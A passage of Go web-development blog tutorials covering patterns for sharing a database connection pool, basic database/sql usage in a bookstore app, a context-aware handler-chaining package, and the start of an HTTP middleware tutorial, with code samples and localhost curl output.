} func AllBooks() ([]Book, error) { // This now uses the unexported global variable. rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "fmt" "log" "net/http" "bookstore.alexedwards.net/models" ) func main() { // Use the InitDB function to initialise the global variable. err := models.InitDB("postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } ... This is a small tweak to the global variable pattern, but it gives us a few nice benefits: All the database-related code now lives a single package, including the code to set up the connection pool. The global db variable is not exported, which removes the possibility of it being accidentally mutated by other packages at runtime. During testing, you can reuse the InitDB() function to initialise a connection pool to your test database (by calling it from TestMain() before your tests run). 2. Dependency injection In a more complex web application there are probably additional application-level objects that you want your handlers to have access to. For example, you might want your handlers to also have access to a shared logger, or a template cache, as well your database connection pool. Rather than storing all these dependencies in global variables, a neat approach is to store them in a single custom Env struct like so: type Env struct { db *sql.DB logger *log.Logger templates *template.Template } The nice thing about this is that you can then define your handlers as methods against Env. This gives you a easy and idiomatic way of making the connection pool (and any other dependencies) available to your handlers. Here's a full example: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Update the AllBooks function so it accepts the connection pool as a // parameter. func AllBooks(db *sql.DB) ([]Book, error) { rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create a custom Env struct which holds a connection pool. type Env struct { db *sql.DB } func main() { // Initialise the connection pool. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Create an instance of Env containing the connection pool. env := &Env{db: db} // Use env.booksIndex as the handler function for the /books route. http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } // Define booksIndex as a method on Env. func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // We can now access the connection pool directly in our handlers. bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } One of the advantages of this pattern is how clear it is to see what dependencies our handlers have and what values they take at runtime. All the dependencies for our handlers are explicitly defined in one place (the Env struct), and we can see what values they have at runtime by simply looking at how it is initialised in the main() function. Another benefit is that any unit tests for our handlers can be completely self-contained. For example, a unit-test for booksIndex() could create an Env struct containing a connection pool to a test database, then call it's booksIndex() method in order to test the handler behaviour. There's no need to rely any global variables outside of the test. In general, dependency injection in this way is quite a nice approach when: There is a common set of dependencies that your handlers need access to. All your HTTP handlers live in one package, but your database-related code may be spread across multiple packages. You don't need to mock the database for testing purposes. 2b. Dependency injection via a closure If you don't want to define your handlers as methods on Env, an alternative approach is to put your handler logic into a closure and close over the Env variable like so: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { db *sql.DB } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{db: db} // Pass the Env struct as a parameter to booksIndex(). http.Handle("/books", booksIndex(env)) http.ListenAndServe(":3000", nil) } // Use a closure to make Env available to the handler logic. func booksIndex(env *Env) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } } This pattern makes our handler functions a bit more verbose, but it can be a useful technique if you want to use dependency injection when your handlers are spread across multiple packages. Here's a gist demonstrating how that can work. 3. Wrapping the connection pool The third pattern we'll look at uses dependency injection again, but this time we're going to wrap the sql.DB connection pool in our own custom type. Let's jump straight in to the code: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Create a custom BookModel type which wraps the sql.DB connection pool. type BookModel struct { DB *sql.DB } // Use a method on the custom BookModel type to run the SQL query. func (m BookModel) All() ([]Book, error) { rows, err := m.DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // This time make models.BookModel the dependency in Env. type Env struct { books models.BookModel } func main() { // Initialise the connection pool as normal. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Initalise Env with a models.BookModel instance (which in turn wraps // the connection pool). env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // Execute the SQL query by calling the All() method. bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At first glance this pattern might feel more confusing than the other options we've looked at — especially if you're not very familiar with Go. But it has some distinct advantages over our previous examples: The database calls are succinct and read very nicely from the perspective of our handlers: env.books.All() versus the previous models.AllBooks(env.db). In a complex application, your database access layer might have more dependencies than just the connection pool. This pattern allows us to store all those dependencies in the custom BookModel type, rather than having to pass them as parameters with every call. Because the database actions are now defined as methods on our custom BookModel type, it opens up the opportunity to replace any references to BookModel in our application code with an interface. And in turn, that means that we can create a mock implementation of our BookModel which can be used during testing. The final point here is probably the most important, so let's take a look at what it could look like in practice: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { // Replace the reference to models.BookModel with an interface // describing its methods instead. All the other code remains exactly // the same. books interface { All() ([]models.Book, error) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Note: If you're not familiar with the concept of interfaces or how they work in Go, I've written a detailed tutorial explaining them here. Once you've made that change, you should be able to create and run a unit test for the booksIndex() handler using a mockBookModel like so: $ touch main_test.go File: main_test.go package main import ( "net/http" "net/http/httptest" "testing" "bookstore.alexedwards.net/models" ) type mockBookModel struct{} func (m *mockBookModel) All() ([]models.Book, error) { var bks []models.Book bks = append(bks, models.Book{"978-1503261969", "Emma", "Jayne Austen", 9.44}) bks = append(bks, models.Book{"978-1505255607", "The Time Machine", "H. G. Wells", 5.99}) return bks, nil } func TestBooksIndex(t *testing.T) { rec := httptest.NewRecorder() req, _ := http.NewRequest("GET", "/books", nil) env := Env{books: &mockBookModel{}} http.HandlerFunc(env.booksIndex).ServeHTTP(rec, req) expected := "978-1503261969, Emma, Jayne Austen, £9.44\n978-1505255607, The Time Machine, H. G. Wells, £5.99\n" if expected != rec.Body.String() { t.Errorf("\n...expected = %v\n...obtained = %v", expected, rec.Body.String()) } } $ go test -v === RUN TestBooksIndex --- PASS: TestBooksIndex (0.00s) PASS ok bookstore.alexedwards.net 0.003s Wrapping the connection pool with a custom type and combining it with dependency injection via an Env struct is quite a nice approach when: There is a common set of dependencies that your handlers need access to. Your database layer has more dependencies than just the connection pool. You want to mock the database during unit tests. 4. Request context Finally let's look at using request context to store and pass around the database connection pool. Just to be clear upfront, I don't recommend using this approach, and the official documentation advises against it too: Use context Values only for request-scoped data that transits processes and APIs, not for passing optional parameters to functions. In other words, that means request context should only be used to store values which are created during an individual request cycle and are no longer needed after the request has completed. It's not really intended to store long-lived handler dependencies like connection pools, loggers or template caches. That said, some people do use request context in this way, and it's worth being aware of in case you ever come across it. The pattern works like this: File: main.go package main import ( "context" "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create some middleware which swaps out the existing request context // with new context.Context value containing the connection pool. func injectDB(db *sql.DB, next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { ctx := context.WithValue(r.Context(), "db", db) next.ServeHTTP(w, r.WithContext(ctx)) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Wrap the booksIndex handler with the injectDB middleware, // passing in the new context.Context with the connection pool. http.Handle("/books", injectDB(db, booksIndex)) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { // Pass the request context onto the database layer. bks, err := models.AllBooks(r.Context()) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Essentially, what's happening here is that the injectDB middleware replaces the request context for every request with one that contains the connection pool. Then, in our handlers, we pass the request context on to our database layer. Then in the database layer we can retrieve the connection pool from the context and use it like this: File: models/models.go package models import ( "context" "database/sql" "errors" ) type Book struct { Isbn string Title string Author string Price float32 } func AllBooks(ctx context.Context) ([]Book, error) { // Retrieve the connection pool from the context. Because the // r.Context().Value() method always returns an interface{} type, we // need to type assert it into a *sql.DB before using it. db, ok := ctx.Value("db").(*sql.DB) if !ok { return nil, errors.New("could not get database connection pool from context") } rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } If you go ahead and run this code it'll work just fine. But this pattern has some big downsides: Each time we retrieve the connection pool from the context we need to type assert it and check for any errors. This makes our code more verbose, and we lose the compile-time type safety that we have with the other approaches. Unlike the dependency injection patterns, it's not clear to see what dependencies a function has just by looking at its signature. Instead, you have to read through the code to see what it is retrieving from the request context. In a small application this isn't a problem — but if you're trying to get to grips with a large, unfamiliar, codebase then it's not ideal. It's not idiomatic Go. Using the request context in this way goes against the advice in the official documentation, and that means the pattern might be surprising or unfamiliar to other Go developers. So, is there ever a scenario where this pattern is a good fit? It's tempting to be glib here and say "no", but the truth is that it can be an easy-ish way to pass around the connection pool if you have a sprawling codebase with handlers and database logic spread across many different packages. But if you're considering using it for that reason, then it's probably a sign that you should refactor your codebase to have a simpler, flatter, package structure. Or, alternatively, I would suggest taking a closer look at the closure pattern we talked about earlier instead.

• Practical Persistence in Go: SQL Databases
  Jun 13, 2015

  This is the first in a series of tutorials about persisting data in Go web applications. In this post we'll be looking at SQL databases. I'll explain the basics of the database/sql package, walk through building a working application, and explore a couple of options for cleanly structuring your code. Before we get started you'll need to go get one of the drivers for the database/sql package. In this post I'll be using Postgres and the excellent pq driver. But all the code in this tutorial is (nearly) exactly the same for any other driver or database – including MySQL and SQLite. I'll point out the very few Postgres-specific bits as we go. $ go get github.com/lib/pq Basic usage Let's build a simple Bookstore application, which carries out CRUD operations on a books table. If you'd like to follow along, you'll need to create a new bookstore database and scaffold it with the following: CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Once that's done, head over to your Go workspace and create a new bookstore package directory and a main.go file: $ cd $GOPATH/src $ mkdir bookstore && cd bookstore $ touch main.go Let's start with some code that executes a SELECT * FROM books query and then prints the results to stdout. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" ) type Book struct { isbn string title string author string price float32 } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } rows, err := db.Query("SELECT * FROM books") if err != nil { log.Fatal(err) } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { log.Fatal(err) } bks = append(bks, bk) } if err = rows.Err(); err != nil { log.Fatal(err) } for _, bk := range bks { fmt.Printf("%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } There's a lot going on here. We'll step through this bit-by-bit. The first interesting thing is the way that we import the driver. We don't use anything in the pq package directly, which means that the Go compiler will raise an error if we try to import it normally. But we need the pq package's init() function to run so that our driver can register itself with database/sql. We get around this by aliasing the package name to the blank identifier. This means pq.init() still gets executed, but the alias is harmlessly discarded (and our code runs error-free). This approach is standard for most of Go's SQL drivers. Next we define a Book type – with the struct fields and their types aligning to our books table. For completeness I should point out that we've only been able to use the string and float32 types safely because we set NOT NULL constraints on the columns in our table. If the table contained nullable fields we would need to use the sql.NullString and sql.NullFloat64 types instead – see this Gist for a working example. Generally it's easiest to avoid nullable fields altogether if you can, which is what we've done here. In the main() function we initialise a new sql.DB object by calling sql.Open(). We pass in the name of our driver (in this case "postgres") and the connection string (you'll need to check your driver documentation for the correct format). It's worth emphasising that the sql.DB object it returns is not a database connection – it's an abstraction representing a pool of underlying connections. You can change the maximum number of open and idle connections in the pool with the db.SetMaxOpenConns() and db.SetMaxIdleConns() methods respectively. A final thing to note is that sql.DB is safe for concurrent access, which is very convenient if you're using it in a web application (like we will shortly). From there we follow a standard pattern that you'll see often: We fetch a resultset from the books table using the DB.Query() method and assign it to a rows variable. Then we defer rows.Close() to ensure the resultset is properly closed before the parent function returns. Closing a resultset properly is really important. As long as a resultset is open it will keep the underlying database connection open – which in turn means the connection is not available to the pool. So if something goes wrong and the resultset isn't closed it can rapidly lead to all the connections in your pool being used up. Another gotcha (which caught me out when I first began) is that the defer statement should come after you check for an error from DB.Query. Otherwise, if DB.Query() returns an error, you'll get a panic trying to close a nil resultset. We then use rows.Next() to iterate through the rows in the resultset. This preps the first (and then each subsequent) row to be acted on by the rows.Scan() method. Note that if iteration over all of the rows completes then the resultset automatically closes itself and frees-up the connection. We use the rows.Scan() method to copy the values from each field in the row to a new Book object that we created. We then check for any errors that occurred during Scan, and add the new Book to the bks slice we created earlier. When our rows.Next() loop has finished we call rows.Err(). This returns any error that was encountered during the interation. It's important to call this – don't just assume that we completed a successful iteration over the whole resultset. If our bks slice has been filled successfully, we loop through it and print the information about each book to stdout. If you run the code you should get the following output: $ go run main.go 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using in a web application Let's start to morph our code into a RESTful-ish web application with 3 routes: GET /books – List all books in the store GET /books/show – Show a specific book by its ISBN POST /books/create – Add a new book to the store We've just written all the core logic we need for the GET /books route. Let's adapt it into a booksIndex() HTTP handler for our web application. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" ) type Book struct { isbn string title string author string price float32 } var db *sql.DB func init() { var err error db, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } if err = db.Ping(); err != nil { log.Fatal(err) } } func main() { http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } rows, err := db.Query("SELECT * FROM books") if err != nil { http.Error(w, err.Error(), 500) return } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { http.Error(w, err.Error(), 500) return } bks = append(bks, bk) } if err = rows.Err(); err != nil { http.Error(w, err.Error(), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } So how is this different? We use the init() function to set up our connection pool and assign it to the global variable db. We're using a global variable to store the connection pool because it's an easy way of making it available to our HTTP handlers – but it's by no means the only way. Because sql.Open() doesn't actually check a connection, we also call DB.Ping() to make sure that everything works OK on startup. In the booksIndex hander we return a 405 Method Not Allowed response for any non-GET request. Then we have our data access logic. This is exactly the same as the earlier example, except that we're now returning proper HTTP errors instead of exiting the program. Lastly we write the books' details as plain text to the http.ResponseWriter. Run the application and then make a request: $ curl -i localhost:3000/books HTTP/1.1 200 OK Content-Length: 205 Content-Type: text/plain; charset=utf-8 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Querying a single row For the GET /books/show route we want to retrieve single book based on its ISBN, with the ISBN being passed in the query string like: /books/show?isbn=978-1505255607 We'll create a new bookShow() handler for this: File: main.go ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.ListenAndServe(":3000", nil) } ... func booksShow(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") if isbn == "" { http.Error(w, http.StatusText(400), 400) return } row := db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) bk := new(Book) err := row.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err == sql.ErrNoRows { http.NotFound(w, r) return } else if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } Once again the handler starts again by checking that it's dealing with a GET request. We then use the Request.FormValue() method to fetch the ISBN value from the request query string. This returns an empty string if there's no parameter found, so we check for that and issue a 400 Bad Request response if it's missing. Now we get to the interesting bit: DB.QueryRow(). This method is similar to DB.Query, except that it fetches a single row instead of multiple rows. Because we need to include untrusted input (the isbn variable) in our query we take advantage of placeholder parameters, passing in the value of our placeholder as the second argument to DB.QueryRow() like so: db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) Behind the scenes, db.QueryRow (and also db.Query() and db.Exec()) work by creating a new prepared statement on the database, and subsequently execute that prepared statement using the placeholder parameters provided. This means that all three methods are safe from SQL injection when used correctly . From Wikipedia: Prepared statements are resilient against SQL injection, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped. If the original statement template is not derived from external input, injection cannot occur. The placeholder parameter syntax differs depending on your database. Postgres uses the $N notation, but MySQL, SQL Server and others use the ? character as a placeholder. OK, let's get back to our code. After we've got a row from DB.QueryRow() we use row.Scan() to copy the values into a new Book object. Note how any errors from DB.QueryRow() are deferred and not surfaced until we call row.Scan(). If our query returned no rows, our call to row.Scan() will return an error of the type sql.ErrNoRows. We check for that error type specifically and return a 404 Not Found response if that's the case. We then handle all other errors by returning a 500 Internal Server Error. If everything went OK, we write the book details to the http.ResponseWriter. Give it a try: $ curl -i localhost:3000/books/show?isbn=978-1505255607 HTTP/1.1 200 OK Content-Length: 54 Content-Type: text/plain; charset=utf-8 978-1505255607, The Time Machine, H. G. Wells, £5.99 If you play around with the ISBN value, or issue a malformed request you should see that you get the appropriate error responses. Executing a statement For our final POST /books/create route we'll make a new booksCreate() handler and use DB.Exec() to execute a INSERT statement. You can take the same approach for an UPDATE, DELETE, or any other action that doesn't return rows. Here's the code: File: main.go ... import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" "strconv" ) ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.HandleFunc("/books/create", booksCreate) http.ListenAndServe(":3000", nil) } ... func booksCreate(w http.ResponseWriter, r *http.Request) { if r.Method != "POST" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") title := r.FormValue("title") author := r.FormValue("author") if isbn == "" || title == "" || author == "" { http.Error(w, http.StatusText(400), 400) return } price, err := strconv.ParseFloat(r.FormValue("price"), 32) if err != nil { http.Error(w, http.StatusText(400), 400) return } result, err := db.Exec("INSERT INTO books VALUES($1, $2, $3, $4)", isbn, title, author, price) if err != nil { http.Error(w, err.Error(), 500) return } rowsAffected, err := result.RowsAffected() if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "Book %s created successfully (%d row affected)\n", isbn, rowsAffected) } Hopefully this is starting to feel familiar now. In the booksCreate() handler we check we're dealing with a POST request, and then fetch the request parameters using request.FormValue(). We verify that all the necessary parameters exist, and in the case of price use the strconv.ParseFloat() to convert the parameter from a string into a float. We then carry out the insert using db.Exec(), passing our new book details as parameters just like we did in the previous example. Note that DB.Exec(), like DB.Query() and DB.QueryRow(), is a variadic function, which means you can pass in as many parameters as you need. The db.Exec() method returns an object satisfying the sql.Result interface, which you can either use (like we are here) or discard with the blank identifier. The sql.Result() interface guarantees two methods: LastInsertId() – which is often used to return the value of an new auto increment id, and RowsAffected() – which contains the number of rows that the statement affected. In this code we're picking up the latter, and then using it in our plain text confirmation message. It's worth noting that not all drivers support the LastInsertId() and RowsAffected() methods, and calling them may return an error. For example, pq doesn't support LastInsertId() – if you need that functionality you'll have to take an approach like this one. Let's try out the /books/create route, passing our parameters in the POST body: $ curl -i -X POST -d "isbn=978-1470184841&title=Metamorphosis&author=Franz Kafka&price=5.90" localhost:3000/books/create HTTP/1.1 200 OK Content-Length: 58 Content-Type: text/plain; charset=utf-8 Book 978-1470184841 created successfully (1 row affected) Using DB.Prepare() Something you might be wondering is: Why aren't we using DB.Prepare()? As I explained a bit earlier, we kinda are behind the scenes. All of DB.Query(), DB.Exec() and DB.QueryRow() set up a prepared statement on the database, run it with the parameters provided, and then close (or deallocate) the prepared statement. But the downside of this is obvious: we have 3 round trips to the database with each HTTP request, whereas if we set up prepared statements with DB.Prepare() – possibly in the init() function – we could have only one round trip each time. But the trade-off isn't that simple. Prepared statements only last for the duration of the current database session. If the session ends, then the prepared statements must be recreated before being used again. So if there's database downtime or a restart you'll need to recreate the prepared statements. For a web application where latency is critical it might be worth the effort to setup monitoring for your database, and reinitialise the prepared statements after an outage. But for an application like this where latency isn't that important, using DB.Query() et al is clear and effective enough. There's a Google groups thread which discusses this in more detail. Refactoring At the moment all our database access logic is mixed in with our HTTP handlers. It's probably a good idea to refactor this for easier maintainability and DRYness as our application grows. But this tutorial is already pretty long, so I'll explore some of the options for refactoring our code in the next post – Practical Persistence in Go: Organising Database Access (coming soon!) Additional tools The Sqlx package by Jason Moiron provides some additions to the standard database/sql functionality, including support for named placeholder parameters and automatic marshalling of rows into structs. If you're looking for something more ORM-ish, you might like to consider Modl by the same author, or gorp by James Cooper. The null package by can help make managing nullable values easier, if that's something you need to do a lot of. Lastly, I found the tutorials at go-database-sql.org to be clear and helpful. Especially worth reading is the surprises and limitations section. If you found this post useful, you might like to subscribe to my RSS feed.

• Context-aware Handler chains
  Dec 03, 2014

  I've written a package for chaining context-aware handlers in Go, called Stack. It was heavily inspired by Alice. What do you mean by 'context-aware'? If you're using a middleware pattern to process HTTP requests in Go, you may want to share some data or context between middleware handlers and your application handlers. For example you might want to: Use some middleware to create a CRSF token, and later render the token to a template in your application handler. Or perhaps... Authenticate a user in one middleware handler, and then pass the user details to a second middleware handler which checks if the user is authorised to access the resource. There are a few packages that can help with this. Matt Silverlock has written a good article about some of the different approaches and tools – I won't rehash it here, instead I recommend giving it a read. Why make another package? Because none of the existing tools seemed ideal – at least to me. Gorilla Context is simple and very flexible, but relies on a global context map and you remembering to clear the context after each request. (It's still my favourite though). Goji provides request-scoped context, which is good, but it's part of a larger package and ties you into using the Goji router. The same is true of Gocraft/web, which also relies on reflection tricks under the hood that I struggle to wrap my head around. I realised that the only time you need to worry about context is when you're chaining handlers together. So I looked at my favorite tool for chaining handlers, Alice, and began adapting that to create Stack. I wanted the package to: Do a simple job, and then get out of the way. Provide a request-scoped context map. Let you create stackable, reusable, handler chains in the Alice style. Be as type-safe at compile time as it possibly could be. Be simple to understand and non-magic. Operate nicely with existing standards. In particular: The handler chain must satisfy the http.Handler interface, so it can be used with the http.DefaultServeMux. It should be compatible with the func(http.Handler) http.Handler pattern commonly used by third-party middleware packages. The full documentation for Stack is here, but here's a quick example of how to use it: File: main.go package main import ( "fmt" "github.com/alexedwards/stack" "github.com/goji/httpauth" "net/http" ) func main() { // Setup goji/httpauth, some third-party middleware authenticate := stack.Middleware(httpauth.SimpleBasicAuth("user", "pass")) // Create a handler chain and register it with the DefaultServeMux http.Handle("/", stack.New(authenticate, tokenMiddleware).Then(tokenHandler)) http.ListenAndServe(":3000", nil) } func tokenMiddleware(ctx stack.Context, next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Add a value to Context with the key 'token' ctx["token"] = "c9e452805dee5044ba520198628abcaa" next.ServeHTTP(w, r) }) } func tokenHandler(ctx stack.Context) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Retrieve the token from Context and print it fmt.Fprintf(w, "Token is: %s", ctx["token"]) }) } $ curl -i user:pass@localhost:3000 HTTP/1.1 200 OK Content-Length: 41 Content-Type: text/plain; charset=utf-8 Token is: c9e452805dee5044ba520198628abcaa $ curl -i user:wrongpass@localhost:3000 HTTP/1.1 401 Unauthorized Content-Length: 13 Content-Type: text/plain; charset=utf-8 Www-Authenticate: Basic realm="Restricted" Unauthorized If you found this post useful, you might like to subscribe to my RSS feed.

• Making and using HTTP Middleware in Go
  Oct 21, 2014

  When you're building a web application, there's probably some shared functionality that you want to run for many (or even all) HTTP requests. You might want to log every request, gzip every response, or check that a user is authenticated before sending them any content. One way of organizing this shared functionality is to set it up as middleware — essentially a self-contained block of code that independently acts on a request, before or after your normal application handlers. In this post I'll explain how to create and use your own middleware, how to chain multiple middlewares together, and finish up with some practical real-world examples and tips. The standard pattern Before we talk about middleware, take a moment to consider the structure of the messageHandler function in the following code: func messageHandler(message string) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(message)) }) } func main() { mux := http.NewServeMux() mux.Handle("GET /", messageHandler("Hello world!")) log.Print("listening on :3000...") err := http.ListenAndServe(":3000", mux) log.Fatal(err) } In this code we put our messageHandler logic — which is just a call to w.Write() — in an anonymous function which 'closes over' the message variable to form a closure. We then convert the closure to an http.Handler with the http.HandlerFunc() adapter, and then return it. Note: If this pattern is confusing or unfamiliar to you, before you go any further I recommend reading this primer which explains it in more detail. We can use this same general pattern to help us create a middleware function. Instead of passing a string into the closure (like above), you can pass another http.Handler as a parameter, and then transfer control to this handler by calling its ServeHTTP() method. Like so: func exampleMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Your middleware logic goes here... next.ServeHTTP(w, r) }) } Essentially, the exampleMiddleware function accepts a next handler as a parameter, and it returns a closure which is also a handler. When this closure is executed, any code in the closure will be run and then the next handler will be called. Using middleware on specific routes If any of that sounds confusing, don't worry! In practice you can copy and paste that code pattern if you need to, and beyond that, making and using middleware is actually fairly straightforward. Let's start by looking at an example of how to use middleware on specific routes in your application. main.go package main import ( "log" "net/http" ) func middlewareOne(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareOne") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareOne again") }) } func fooHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing fooHandler") w.Write([]byte("OK")) } func barHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing barHandler") w.Write([]byte("OK")) } func main() { mux := http.NewServeMux() mux.Handle("GET /foo", http.HandlerFunc(fooHandler)) mux.Handle("GET /bar", middlewareOne(http.HandlerFunc(barHandler))) log.Print("listening on :3000...") err := http.ListenAndServe(":3000", mux) log.Fatal(err) } There is quite a lot going on in this code, so let's take a moment to unpack some of it: We've created a middleware function called middlewareOne, which uses the standard pattern that we talked about above. The middleware logs a message, calls the next handler, and then logs another message. We've made two normal handler functions, fooHandler and barHandler, which both log a message and send a 200 OK response. In the route mux.Handle("GET /foo", http.HandlerFunc(fooHandler)), we use the http.HandlerFunc() function to convert fooHandler to a http.Handler, and use it as normal with no middleware. In the route mux.Handle("GET /bar", middlewareOne(http.HandlerFunc(barHandler))), we use the http.HandlerFunc() function to convert barHandler to a http.Handler, and then pass it to the middlewareOne function as the next argument. Or in simpler terms — we wrap barHandler with the middlewareOne middleware function. If you run this application and make a request to http://localhost:3000/foo, you should see some log output containing only the message from fooHandler: $ go run main.go 2025/07/05 19:00:56 listening on :3000... 2025/07/05 19:01:09 /foo executing fooHandler In contrast, if you make a request to http://localhost:3000/bar, you should also see the log messages from middlewareOne, demonstrating that the middleware is successfully being used on that route. ... 2025/07/05 19:02:43 /bar executing middlewareOne 2025/07/05 19:02:43 /bar executing barHandler 2025/07/05 19:02:43 /bar executing middlewareOne again This log output also nicely illustrates the flow of control through the application code. We can see that any code in middlewareOne which comes before 